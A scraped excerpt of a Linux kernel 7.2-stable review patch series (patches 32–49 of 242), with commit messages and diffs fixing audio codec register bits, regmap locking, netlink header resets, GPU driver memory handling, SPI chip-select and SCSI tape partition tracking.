@@ -756,7 +756,7 @@ static int avs_dai_fe_prepare(struct snd_pcm_substream *substream, struct snd_so data =snd_soc_dai_get_dma_data (dai, substream); host_stream = data->host_stream; -if (runtime->state ==SNDRV_PCM_STATE_XRUN ) +if (runtime->state !=SNDRV_PCM_STATE_PREPARED )hdac_stream (host_stream)->prepared = false;if (hdac_stream (host_stream)->prepared)return 0 ;
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 32/242 ASoC: stm32: spdifrx: fix synchronization state check
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Avi Weiss <[email protected]>
[ Upstream commit 0936bbd35a247665c64886135835faa3c3f4f29f ]
The interrupt handler uses a logical AND to check whether SPDIFRX was in the SYNC state before clearing errors. Since both SYNC (1) and ENABLE (3) are nonzero, this also treats ENABLE as SYNC (and any other non-zero value that might be added).
The logical && basically just converts this to check for != 0.
So errors occurring while SPDIFRX is enabled cause the driver to retry synch instead of disconnecting the PCM stream.
Fix is to change the logical && to equality (==) and only retry when exactly in sync state.
--- sound/soc/stm/stm32_spdifrx.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
sound/soc/stm/stm32_spdifrx.c +1 -1
@@ -720,7 +720,7 @@ static irqreturn_t stm32_spdifrx_isr(int irq, void *devid)if (err) {regmap_read (spdifrx->regmap,STM32_SPDIFRX_CR , &cr); - sync_state =FIELD_GET (SPDIFRX_CR_SPDIFEN_MASK , cr) && + sync_state =FIELD_GET (SPDIFRX_CR_SPDIFEN_MASK , cr) ==SPDIFRX_SPDIFEN_SYNC ;/* SPDIFRX is in STATE_STOP. Disable SPDIFRX to clear errors */
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 33/242 ASoC: cs42l56: Put the Limiter Cushion control on the limiter register
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: HyeongJun An <[email protected]>
[ Upstream commit 203436d2aeb7093290459e344e1912a418a6ebfd ]
The Limiter Cushion control writes bits 4:2 of the ALC Thresholds register. Those bits are ALCMIN, which the ALC MIN control owns. The datasheet puts CUSH at bits 4:2 of the Limit Thresholds Control register, next to LMAX, which the Limiter MAX control already uses.
So setting the limiter cushion changes the ALC minimum threshold, and the cushion itself cannot be set.
Use CS42L56_LIM_THRESHOLD_CTL.
--- sound/soc/codecs/cs42l56.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
sound/soc/codecs/cs42l56.c +1 -1
@@ -481,7 +481,7 @@ static const struct snd_kcontrol_new cs42l56_snd_controls[] = { 0, 0x3f, 0, 0),SOC_SINGLE_TLV ("Limiter MAX" ,CS42L56_LIM_THRESHOLD_CTL ,5 ,0x07 ,1 , alc_tlv), -SOC_SINGLE_TLV ("Limiter Cushion" ,CS42L56_ALC_THRESHOLD , +SOC_SINGLE_TLV ("Limiter Cushion" ,CS42L56_LIM_THRESHOLD_CTL ,2 ,0x07 ,1 , alc_tlv), SOC_SINGLE("NG Switch", CS42L56_NOISE_GATE_CTL, 6, 1, 1),
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 34/242 ASoC: cs42l52: Fix the NG Type Switch bit
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: HyeongJun An <[email protected]>
[ Upstream commit 8b08b98796d2da103f2432550c14a7c687e72080 ]
The NG Type Switch enum selects between "Apply Specific" and "Apply All", which is the NGALL bit. The datasheet puts NGALL at bit 7 of the Noise Gate Control register. The enum uses bit 6, which is NG, the noise gate enable owned by the NG Enable Switch. cs42l52.h names it CS42L52_NG_ENABLE_SHIFT. cs42l56 has the same Noise Gate register and puts its NG All Switch at bit 7.
So changing the noise gate type turns the noise gate on or off, and NGALL cannot be set.
Use bit 7.
--- sound/soc/codecs/cs42l52.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
sound/soc/codecs/cs42l52.c +1 -1
@@ -290,7 +290,7 @@ static const char * const cs42l52_ng_type_text[] = { }; static SOC_ENUM_SINGLE_DECL(ng_type_enum, - CS42L52_NOISE_GATE_CTL, 6, + CS42L52_NOISE_GATE_CTL, 7, cs42l52_ng_type_text);static const char *const left_swap_text[] = {
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 35/242 ASoC: pcm3168a: Fix the DAC zero flag polarity bit
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: HyeongJun An <[email protected]>
[ Upstream commit b26edc925c1cfa0184cd270ed81d4833db045ce0 ]
The DAC Zero Flag Polarity enum uses PCM3168A_DAC_ATSPDA_SHIFT, which is bit 6 of register 70. That bit is ATSPDA, the attenuation speed, which the DAC Volume Rate Multiplier enum already owns. The datasheet puts ZREV, the zero flag polarity, at bit 0. The header defines PCM3168A_DAC_ZREV_SHIFT for it, but nothing uses it.
So changing the zero flag polarity changes the attenuation speed, and ZREV cannot be set.
Use PCM3168A_DAC_ZREV_SHIFT.
--- sound/soc/codecs/pcm3168a.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
sound/soc/codecs/pcm3168a.c +1 -1
@@ -103,7 +103,7 @@ static SOC_ENUM_SINGLE_DECL(pcm3168a_dac_zf_func, PCM3168A_DAC_ATT_DEMP_ZF,static const char *const pcm3168a_pol[] = {"Active High" ,"Active Low" }; static SOC_ENUM_SINGLE_DECL(pcm3168a_dac_zf_pol, PCM3168A_DAC_ATT_DEMP_ZF, - PCM3168A_DAC_ATSPDA_SHIFT, pcm3168a_pol); + PCM3168A_DAC_ZREV_SHIFT, pcm3168a_pol);static const char *const pcm3168a_con[] = {"Differential" ,"Single-Ended" };
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 36/242 ASoC: max98371: Fix the Speaker DHT Min Volume bits
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: HyeongJun An <[email protected]>
[ Upstream commit f7934340c56a84fc1b246ebf6b2e806d775f3b54 ]
Register 0x31 holds two 4-bit fields. The datasheet puts SPK_GAIN_MIN at bits 7:4 and DHT_VROT_PNT at bits 3:0. The Speaker DHT Min Volume and Speaker DHT Rotation Volume controls both use bits 3:0.
So setting the minimum speaker gain changes the DHT rotation point, and SPK_GAIN_MIN cannot be set.
Move Speaker DHT Min Volume to bits 7:4.
--- sound/soc/codecs/max98371.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
sound/soc/codecs/max98371.c +1 -1
@@ -166,7 +166,7 @@ static const struct snd_kcontrol_new max98371_snd_controls[] = { 0, (1<<MAX98371_DHT_MAX_WIDTH)-1, 0, max98371_dht_max_gain),SOC_SINGLE_TLV ("Speaker DHT Min Volume" ,MAX98371_DHT_GAIN , -0 , (1 <<MAX98371_DHT_GAIN_WIDTH )-1 ,0 , +4 , (1 <<MAX98371_DHT_GAIN_WIDTH )-1 ,0 , max98371_dht_min_gain), SOC_SINGLE_TLV("Speaker DHT Rotation Volume", MAX98371_DHT_GAIN, 0, (1<<MAX98371_DHT_ROT_WIDTH)-1, 0,
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 37/242 ASoC: wm8978: Fix the 128x oversampling switch bits
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: HyeongJun An <[email protected]>
[ Upstream commit d0567ca9a2faa33efbe5ae84ef7b86423a93bffd ]
The DAC and ADC 128x Oversampling Switches use bit 5 of R10 and R14. Table 66 of the WM8978 datasheet puts DACOSR128 and ADCOSR128 at bit 3 of those registers.
In R14, bit 5 is inside HPFCUT[6:4], which the High Pass Cut Off control owns. So turning on ADC oversampling changes the high pass cut-off, and the oversampling bit cannot be set. In R10, bit 5 is reserved, so the DAC switch has no effect.
Use bit 3 for both.
--- sound/soc/codecs/wm8978.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
sound/soc/codecs/wm8978.c +2 -2
@@ -255,9 +255,9 @@ static const struct snd_kcontrol_new wm8978_snd_controls[] = {/* DAC / ADC oversampling */ SOC_SINGLE ("DAC 128x Oversampling Switch" ,WM8978_DAC_CONTROL , -5 ,1 ,0 ), +3 ,1 ,0 ),SOC_SINGLE ("ADC 128x Oversampling Switch" ,WM8978_ADC_CONTROL , - 5, 1, 0), + 3, 1, 0), };/* Mixer #1: Output (OUT1, OUT2) Mixer: mix AUX, Input mixer output and DAC */
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 38/242 ASoC: nau8822: Fix the 128x oversampling switch bits
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: HyeongJun An <[email protected]>
[ Upstream commit 4db45fc1da3d62d0fa6e8f1e457ae92e8741ed07 ]
The DAC and ADC 128x Oversampling Switches use bit 5 of R10 and R14. The NAU8822 datasheet register map puts DACOS and ADCOS at bit 3 of those registers.
In R14, bit 5 is inside HPF[6:4], which the High Pass Cut Off control owns. So turning on ADC oversampling changes the high pass cut-off, and the oversampling bit cannot be set. In R10, bit 5 is reserved, so the DAC switch has no effect.
Use bit 3 for both.
--- sound/soc/codecs/nau8822.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
sound/soc/codecs/nau8822.c +2 -2
@@ -383,9 +383,9 @@ static const struct snd_kcontrol_new nau8822_snd_controls[] = { NAU8822_REG_RIGHT_ADC_BOOST_CONTROL, 0, 7, 0, boost_tlv), SOC_SINGLE("DAC 128x Oversampling Switch", - NAU8822_REG_DAC_CONTROL, 5, 1, 0), + NAU8822_REG_DAC_CONTROL, 3, 1, 0), SOC_SINGLE("ADC 128x Oversampling Switch", - NAU8822_REG_ADC_CONTROL, 5, 1, 0), + NAU8822_REG_ADC_CONTROL, 3, 1, 0), };/* LMAIN and RMAIN Mixer */
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 39/242 regmap: Drop map lock during cache init and exit
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Michael Reeves <[email protected]>
[ Upstream commit abff0a48b110fe52d43999b4cb7c793a510a6bf1 ]
On systems with CONFIG_PROVE_RAW_LOCK_NESTING enabled, Apple GPIO probe triggers an "Invalid wait context" lockdep warning.
The driver uses a regmap with a raw spinlock and REGCACHE_FLAT. During regcache_init(), regcache_flat_init() allocates memory while holding the raw spinlock. The memory allocator can acquire a non-raw spinlock, which causes an invalid raw-to-non-raw lock nesting error. The abbreviated call chain is:
apple_gpio_pinctrl_probe
regcache_init
regcache_flat_init
__kmalloc_noprof
__pcs_replace_empty_main
refill_objects
_raw_spin_lock_irqsave
Cache allocation occurs before the regmap is published, cache destruction occurs after users have stopped accessing it, and regmap_reinit_cache() requires callers to prevent concurrent access. Remove the outer map lock from cache initialization and destruction. Keep it for cache population and normal register access.
The Maple cache still uses its internal spinlock during teardown. That lock can also be acquired from hard IRQ context during register access. Add Maple-state irqsave helpers and use them during teardown to preserve the lock's IRQ-safe lockdep state.
--- drivers/base/regmap/regcache-maple.c | 9 +++++++-- drivers/base/regmap/regcache.c | 6 ------ include/linux/maple_tree.h | 4 ++++ 3 files changed, 11 insertions(+), 8 deletions(-)
drivers/base/regmap/regcache-maple.c +7 -2
@@ -312,16 +312,21 @@ static int regcache_maple_exit(struct regmap *map)struct maple_tree *mt = map->cache;MA_STATE (mas, mt,0 ,UINT_MAX );unsigned int *entry; +unsigned long flags;/* if we've already been called then just return */ if (!mt)return 0 ; -mas_lock (&mas); +/* +* Register access may take the Maple lock from hard IRQ context, so +* preserve its IRQ-safe lockdep state during teardown. +*/ +mas_lock_irqsave (&mas, flags);mas_for_each (&mas, entry,UINT_MAX )kfree (entry);__mt_destroy (mt); -mas_unlock (&mas); +mas_unlock_irqrestore (&mas, flags);kfree (mt); map->cache =NULL ;
drivers/base/regmap/regcache.c +0 -6
@@ -225,9 +225,7 @@ int regcache_init(struct regmap *map, const struct regmap_config *config)if (map->cache_ops->init) {dev_dbg (map->dev,"Initializing %s cache\n" , map->cache_ops->name); - map->lock (map->lock_arg); ret = map->cache_ops->init (map); - map->unlock (map->lock_arg);if (ret) goto err_free_reg_defaults; }
@@ -259,9 +257,7 @@ int regcache_init(struct regmap *map, const struct regmap_config *config) err_exit:if (map->cache_ops->exit) {dev_dbg (map->dev,"Destroying %s cache\n" , map->cache_ops->name); - map->lock (map->lock_arg); map->cache_ops->exit (map); - map->unlock (map->lock_arg); } err_free_reg_defaults:kfree (map->reg_defaults);
@@ -281,9 +277,7 @@ void regcache_exit(struct regmap *map)if (map->cache_ops->exit) {dev_dbg (map->dev,"Destroying %s cache\n" , map->cache_ops->name); - map->lock (map->lock_arg); map->cache_ops->exit (map); - map->unlock (map->lock_arg); }kfree (map->reg_defaults);
include/linux/maple_tree.h +4 -0
@@ -504,9 +504,13 @@ struct ma_wr_state { };#define mas_lock (mas) spin_lock(&((mas)->tree->ma_lock)) +#define mas_lock_irqsave (mas, flags) \ + spin_lock_irqsave(&((mas)->tree->ma_lock), flags)#define mas_lock_nested (mas, subclass) \ spin_lock_nested(&((mas)->tree->ma_lock), subclass)#define mas_unlock (mas) spin_unlock(&((mas)->tree->ma_lock)) +#define mas_unlock_irqrestore (mas, flags) \ + spin_unlock_irqrestore(&((mas)->tree->ma_lock), flags)/* * Special values for ma_state.node.
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 40/242 netlink: reset skb headers before unicast and multicast filtering
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Kyle Zeng <[email protected]>
[ Upstream commit 8bf659bd54e1f00e34cf5244b1d289c506fa47c0 ]
Socket filters can use SKF_NET_OFF and SKF_LL_OFF to read relative to an skb's network and MAC headers. Netlink producers may reserve headroom without resetting those headers, allowing a receiving socket's filter to read data before the initialized message.
For example, IWPM HELLO replies are allocated with dev_alloc_skb(), which reserves NET_SKB_PAD bytes. An unprivileged NETLINK_RDMA user can attach a classic socket filter and disclose this headroom through the length of the delivered reply. The resets in netlink_dump() do not help because IWPM sends a separately allocated skb through netlink_unicast().
Reset both headers before running the receiver's filter in unicast and broadcast delivery, as is already done for dump skbs. This also covers other netlink producers that reserve headroom without changing their allocation or message-building code.
--- net/netlink/af_netlink.c | 4 ++++ 1 file changed, 4 insertions(+)
net/netlink/af_netlink.c +4 -0
@@ -1363,6 +1363,8 @@ int netlink_unicast(struct sock *ssk, struct sk_buff *skb,if (netlink_is_kernel (sk))return netlink_unicast_kernel (sk, skb, ssk); +skb_reset_network_header (skb); +skb_reset_mac_header (skb);if (sk_filter (sk, skb)) { err = skb->len;kfree_skb (skb);
@@ -1497,6 +1499,8 @@ static void do_one_broadcast(struct sock *sk, goto out; } +skb_reset_network_header (p->skb2); +skb_reset_mac_header (p->skb2);if (sk_filter (sk, p->skb2)) {kfree_skb (p->skb2); p->skb2 =NULL ;
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 41/242 accel/rocket: clear rdev on device init failure
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Guangshuo Li <[email protected]>
[ Upstream commit 4ac852419f0d317c7bd8db5b8acb3cc78be7fe33 ]
rocket_probe() stores the return value from rocket_device_init() in the file-scoped rdev pointer before checking whether it is an error pointer. If rocket_device_init() fails, rdev is left as an ERR_PTR.
The rdev pointer is also used as the marker for whether the shared rocket device has already been initialized. A later core probe can therefore see a non-NULL rdev, skip rocket_device_init(), and dereference the error pointer when reading rdev->num_cores.
Save the error code and clear rdev before returning from the rocket_device_init() failure path.
--- drivers/accel/rocket/rocket_drv.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-)
drivers/accel/rocket/rocket_drv.c +4 -1
@@ -165,8 +165,11 @@ static int rocket_probe(struct platform_device *pdev)/* First core probing, initialize DRM device. */ rdev =rocket_device_init (drm_dev, &rocket_drm_driver);if (IS_ERR (rdev)) { +int err =PTR_ERR (rdev); +dev_err (&pdev->dev,"failed to initialize rocket device\n" ); -return PTR_ERR (rdev); + rdev =NULL ; +return err; } }
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 42/242 net/mlx5: HWS, release L2 to L3 tunnel reformats to their own pool
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Alexandre Cassen <[email protected]>
[ Upstream commit 39e02ddf74bbe9c9080555232ba8100462cba2ad ]
L2 to L3 tunnel reformats are now released to the el2tol3tnl pools.
--- drivers/net/ethernet/mellanox/mlx5/core/steering/hws/fs_hws.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
drivers/net/ethernet/mellanox/mlx5/core/steering/hws/fs_hws.c +2 -2
@@ -1398,8 +1398,8 @@ static void mlx5_cmd_hws_packet_reformat_dealloc(struct mlx5_flow_root_namespace pr_data->data_size);break ;case MLX5_REFORMAT_TYPE_L2_TO_L3_TUNNEL : - pr_pool =mlx5_fs_get_pr_encap_pool (dev, &hws_pool->el2tol2tnl_pools, -MLX5HWS_ACTION_TYP_REFORMAT_L2_TO_TNL_L2 , + pr_pool =mlx5_fs_get_pr_encap_pool (dev, &hws_pool->el2tol3tnl_pools, +MLX5HWS_ACTION_TYP_REFORMAT_L2_TO_TNL_L3 , pr_data->data_size);break ;case MLX5_REFORMAT_TYPE_L3_TUNNEL_TO_L2 :
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 43/242 net/mlx5: HWS, fix flow meter offset within its bulk
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Alexandre Cassen <[email protected]>
[ Upstream commit 1b0aad53ad715b15ccbad8c65d15c149c925f00a ]
The flow meter action is bound to the first ASO object of the bulk but the rule offset only indexes the meter within its own object. A rule past the first object runs on the wrong meter.
--- drivers/net/ethernet/mellanox/mlx5/core/steering/hws/fs_hws.c | 1 + 1 file changed, 1 insertion(+)
drivers/net/ethernet/mellanox/mlx5/core/steering/hws/fs_hws.c +1 -0
@@ -928,6 +928,7 @@ static int mlx5_fs_fte_get_hws_actions(struct mlx5_flow_root_namespace *ns, goto free_actions; } (*ractions)[num_actions].aso_meter.offset = + (fte_action->exe_aso.object_id - fte_action->exe_aso.base_id) *2 + fte_action->exe_aso.flow_meter.meter_idx; (*ractions)[num_actions].aso_meter.init_color = fte_action->exe_aso.flow_meter.init_color;
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 44/242 ASoC: amd: yc: disable MSI on resume
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Mario Limonciello <[email protected]>
[ Upstream commit 2a31b5378c6db9c4a8d399e5d10d32cd4b732bef ]
BIOS/firmware may re-enable MSI in PCI config space during system resume even though this driver only uses legacy INTx interrupts. If MSI is left enabled with stale address and data registers, the device can write interrupts to a bogus address and cause an IOMMU IO_PAGE_FAULT.
Clear the MSI Enable bit before reinitializing ACP hardware on system resume. Keep runtime resume separate because firmware does not restore PCI configuration on that path.
--- sound/soc/amd/yc/pci-acp6x.c | 38 ++++++++++++++++++++++++++++++++++-- 1 file changed, 36 insertions(+), 2 deletions(-)
sound/soc/amd/yc/pci-acp6x.c +36 -2
@@ -301,7 +301,7 @@ static int snd_acp6x_suspend(struct device *dev)return ret; } -static int snd_acp6x_resume (struct device *dev) +static int snd_acp6x_runtime_resume (struct device *dev) {struct acp6x_dev_data *adata;int ret;
@@ -313,8 +313,42 @@ static int snd_acp6x_resume(struct device *dev)return ret; } +static void acp6x_disable_msi_on_resume (struct pci_dev *pdev) +{ +u16 control; + +if (!pdev->msi_cap) +return ; + +pci_read_config_word (pdev, pdev->msi_cap +PCI_MSI_FLAGS , &control); +if (control &PCI_MSI_FLAGS_ENABLE ) { +dev_warn (&pdev->dev, +"ACP: MSI unexpectedly enabled after resume (flags=0x%04x), disabling\n" , + control); + control &= ~PCI_MSI_FLAGS_ENABLE ; +pci_write_config_word (pdev, pdev->msi_cap +PCI_MSI_FLAGS , control); + } +} + +static int snd_acp6x_resume (struct device *dev) +{ +struct pci_dev *pdev =to_pci_dev (dev); + +/* +* BIOS/firmware may re-enable MSI in PCI config space during +* system resume even though this driver only uses legacy INTx +* interrupts. If MSI is left enabled with stale address/data +* registers, the device will write interrupts to a bogus address +* causing IOMMU IO_PAGE_FAULT and interrupt delivery failure. +* Explicitly clear the MSI Enable bit before reinitializing +* the ACP hardware. +*/ +acp6x_disable_msi_on_resume (pdev); +return snd_acp6x_runtime_resume (dev); +} +static const struct dev_pm_ops acp6x_pm = { - RUNTIME_PM_OPS(snd_acp6x_suspend, snd_acp6x_resume, NULL) + RUNTIME_PM_OPS(snd_acp6x_suspend, snd_acp6x_runtime_resume, NULL)SYSTEM_SLEEP_PM_OPS (snd_acp6x_suspend, snd_acp6x_resume) };
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 45/242 drm/xe: skip eviction of a BO with no resource
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Niranjana Vishwanathapura <[email protected]>
[ Upstream commit 448e76cbdc6652ccd3ba337b7a6e1f028859f2ed ]
xe_evict_flags() switches on tbo->resource->mem_type to choose an eviction placement. An xe BO can reach eviction with no ttm.resource, e.g. an imported dma-buf BO whose resource was freed during teardown while its attachment is still live: the exporter then invalidates it via xe_dma_buf_move_notify() -> xe_bo_evict(), and the switch dereferences a NULL resource and faults.
A BO with no resource has nothing placed or mapped, so there is nothing to evict. Return an empty placement (num_placement = 0), mirroring the handling already used for non-xe scatter-gather BOs just above; ttm_bo_validate() then takes the pipeline-gutting path and returns 0.
Without the fix the xe_dma_buf@xe_test_dmabuf_move_notify_no_resource dynamic live selftest will fail with below stack.
BUG: kernel NULL pointer dereference, address: 0000000000000010 RIP: 0010:xe_evict_flags+0xf4/0x140 [xe] Call Trace: <TASK> xe_bo_evict+0x40/0xa0 [xe] ? ttm_bo_pipeline_gutting+0x71/0x180 [ttm] xe_test_dmabuf_move_notify_no_resource+0x182/0x440 [xe] xe_dma_buf_kunit+0x387/0x580 [xe]
v2: Add Fixes tag and failure info in commit text (Matt Brost)
--- drivers/gpu/drm/xe/xe_bo.c | 6 ++++++ 1 file changed, 6 insertions(+)
drivers/gpu/drm/xe/xe_bo.c +6 -0
@@ -330,6 +330,12 @@ static void xe_evict_flags(struct ttm_buffer_object *tbo,return ; } +/* No resource: nothing is placed/mapped, so there is nothing to evict. */ +if (!tbo->resource) { + placement->num_placement =0 ; +return ; + } + bo =ttm_to_xe_bo (tbo);if (bo->flags &XE_BO_FLAG_CPU_ADDR_MIRROR ) { *placement = sys_placement;
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 46/242 drm/xe/oa: Zero OA buffer at allocation
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Bommu Krishnaiah <[email protected]>
[ Upstream commit fd8662823caa114a63f07222d2aa448f6ac5e864 ]
ttm_bo_type_kernel BOs are not guaranteed to be zeroed on allocation and may contain data from previously freed pages. Since the OA buffer is mmap'able by userspace, this can expose stale kernel memory contents.
Streams opened with DRM_XE_OA_PROPERTY_OA_DISABLED allocate the OA buffer without calling xe_oa_init_oa_buffer(). Zero the buffer at allocation to prevent information disclosure through mmap.
The existing zeroing in xe_oa_init_oa_buffer() remains necessary for zero report-id/timestamp detection on enable/re-enable.
--- drivers/gpu/drm/xe/xe_oa.c | 7 +++++++ 1 file changed, 7 insertions(+)
drivers/gpu/drm/xe/xe_oa.c +7 -0
@@ -914,6 +914,13 @@ static int xe_oa_alloc_oa_buffer(struct xe_oa_stream *stream, size_t size)if (IS_ERR (bo))return PTR_ERR (bo); +/* +* ttm_bo_type_kernel BOs are not zeroed on allocation, so the buffer can +* hold stale data from previously freed pages. Since the OA buffer is +* mmap'able by userspace, clear it here to avoid leaking kernel memory. +*/ +xe_map_memset (stream->oa->xe, &bo->vmap,0 ,0 ,xe_bo_size (bo)); + stream->oa_buffer.bo = bo; stream->oa_buffer.bounce =kmalloc (stream->oa_buffer.format->size,GFP_KERNEL );
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 47/242 spi: tegra114: assert CS GPIO for every transfer in a message
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Carlos Jones Jr <[email protected]>
[ Upstream commit 8980bc573ae2d2b9d86d76aeb86c76e1597070bf ]
The driver provides its own transfer_one_message() and therefore drives the chip-select GPIO itself rather than through the SPI core. The GPIO is asserted only in the is_first_of_msg path of tegra_spi_setup_transfer_one(), but tegra_spi_transfer_end() deasserts it whenever a transfer has cs_change set. For a multi-transfer message whose earlier transfers request cs_change -- for example a register read that sends the address in one transfer and clocks the data back in the next -- the CS GPIO is released after the first transfer and never re-asserted, so the remaining transfers are clocked with chip-select inactive and the peripheral never drives the bus.
This was observed with an ADIS16470 IMU (adis16475 driver), whose register read is a two-transfer, cs_change-framed exchange: a logic analyzer showed the data frame clocked with CS high, and the driver read 0 while the device drove 0x4056 on the wire.
Re-assert the CS GPIO for every transfer so that multi-transfer messages keep chip-select active across the whole message. gpiod_set_value() is idempotent and polarity-aware, so this is a no-op for the first transfer and for messages that keep CS asserted throughout.
--- drivers/spi/spi-tegra114.c | 7 +++++++ 1 file changed, 7 insertions(+)
drivers/spi/spi-tegra114.c +7 -0
@@ -859,6 +859,13 @@ static u32 tegra_spi_setup_transfer_one(struct spi_device *spi, command1 |=SPI_BIT_LENGTH (bits_per_word -1 ); } +/* +* Re-assert the CS GPIO for every transfer: transfer_end() drops it +* on cs_change, and the assert above only covers is_first_of_msg. +*/ +if (spi_get_csgpiod (spi,0 )) +gpiod_set_value (spi_get_csgpiod (spi,0 ),1 ); +return command1; }
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 48/242 nios2: fix __wsum type degradation in csum_fold()
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Keith Busch <[email protected]>
[ Upstream commit b963f2345fa20417401c51a69dedb6a58eea33a9 ]
csum_fold() shifts a bitwise __wsum type, which sparse reports as "restricted __wsum degrades to integer". Sparse only checks the body of a static inline once something instantiates it, so this went unnoticed until a recent block layer change added the first csum_fold() caller to a file built on this architecture.
Force cast to a __u32 for the shift, as the other architectures do.
--- arch/nios2/include/asm/checksum.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
arch/nios2/include/asm/checksum.h +1 -1
@@ -27,7 +27,7 @@ static inline __sum16 csum_fold(__wsum sum) "add %0, %0, r8\n" "nor %0, %0, %0\n" : "=r" (sum) - : "r" (sum << 16), "0" (sum) + : "r" ((__force u32)sum << 16), "0" (sum) : "r8");return (__force __sum16 ) sum; }
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 49/242 scsi: st: Save the visited block for the partition the drive is in
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Laurence Oberman <[email protected]>
[ Upstream commit c9e9f024dd4f61f0f6636c9f2ed0830f87060e11 ]
set_location() saves the current tape location before switching partitions, so that switch_partition() can return to it later. It reads the location with READ POSITION but stores it in the st_partstat of STp->partition, ignoring the partition the drive reports.
The two differ after a device reset. When the reset is recovered with MTREW, MTSEEK or MTEOM, st_ioctl() sets STp->partition = 0 and calls switch_partition() to return to STp->new_partition. A drive that was in partition 1 is still there, so set_location() files the partition 1 position under partition 0. The next switch to partition 0 locates to that block: if partition 0 holds less data, MTSETPART fails with EIO (BLANK CHECK), otherwise the tape is silently positioned at the wrong block.
IBM ULTRIUM-TD5 (LTO-5), LU reset in partition 1 at block 1025:
st 12:0:0:0: [st0] Visited block 1025 for partition 0 saved.
...
st 12:0:0:0: [st0] Setting block to 1025 and partition to 0. st 12:0:0:0: [st0] Error: 402, cmd: 2b 2 0 0 0 4 st 12:0:0:0: [st0] Sense Key : Blank Check [current] st 12:0:0:0: [st0] Add. Sense: End-of-data detected
Store the location in the st_partstat of the partition reported by READ POSITION. With the fix:
st 12:0:0:0: [st0] Visited block 1025 for partition 1 saved.
This is a pre-existing issue. It was not caught when testing the recent st reset series because the partition test was only run on scsi_debug:
on the LTO drive it was skipped, since can-partitions is off in the test harness's stinit.conf, as is normal for LTO. scsi_debug hides the problem because its emulated tape returns to the beginning of partition 0 on an LU reset. It was found while validating a backport of that series to RHEL 9.8, when the partition tests were run on real hardware with can-partitions enabled. The same failure then reproduced on unmodified RHEL 9.8 and on upstream, and the fix makes the test pass on v7.3-rc3 and RHEL 9.8 with an LTO-5.
The harness (https://gitlab.com/loberman/tapetest, test X03) now refuses to silently skip the partition tests on hardware.
--- drivers/scsi/st.c | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-)
drivers/scsi/st.c +10 -4
@@ -3217,14 +3217,20 @@ static int set_location(struct scsi_tape *STp, unsigned int block, int partition partition >= ST_NBR_PARTITIONS)return (-EINVAL );if (partition != STp->partition) { -if (get_location (STp, &blk, &p,1 )) +/* +* Save the location for the partition the drive reports, +* not for STp->partition: after a reset STp->partition may +* not match the partition the drive is in. +*/ +if (get_location (STp, &blk, &p,1 ) || + p <0 || p >=ST_NBR_PARTITIONS ) STps->last_block_valid =0 ;else { - STps->last_block_valid =1 ; - STps->last_block_visited = blk; + STp->ps[p].last_block_valid =1 ; + STp->ps[p].last_block_visited = blk;DEBC_printk (STp,"Visited block %d for " "partition %d saved.\n" , - blk, STp->partition); + blk, p); } }
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 50/242 scsi: target: Disable interrupts while holding delayed_cmd_lock
